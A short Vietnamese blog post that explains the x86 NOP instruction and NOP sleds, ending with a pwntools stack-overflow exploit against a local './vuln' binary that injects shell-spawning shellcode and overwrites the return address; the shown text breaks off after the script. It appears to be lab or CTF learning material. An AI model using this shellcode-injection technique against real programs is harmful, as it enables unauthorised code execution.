Posts

Showing posts from March, 2023

NOP (No Operation)

 Kiến thức NOP (\x90). Khi máy tính gặp câu lệnh này trong chương trình thì nó sẽ thực hiệp câu lệnh tiếp theo và bỏ qua nó. Nếu 1 payload được padding "\x90" vào bên trái bằng NOP và phía bên phải trỏ vào EIP. Thì nó sẽ không thực hiện bất cứ instruction nào cho đến khi gặp được shellcode của tôi. Phần padding với NOP này thường được gọi là NOP slide or sled. Vì cơ bản EIP là để sliding down chúng. In x86 assembly, NOP instruction is "\x90". Lệnh NOP thực ra là thay thế cho câu lệnh XCHG EAX, EAX. Câu lệnh này là vô nghĩa. Exploit * Tôi sẽ thêm 1 lượng lớn \x90 phía bên trái * Control return pointer to point the middle of the NOPs thay vì bắt buffer from pwn import * context . binary = ELF ( './vuln' ) p = process () payload = b'\x90' * 240 # The NOPs payload += asm ( shellcraft . sh ()) # The shellcode payload = payload . ljust ( 312 , b'A' ) # Padding payload += p32 ( 0xffffcfb4 + 120 ) ...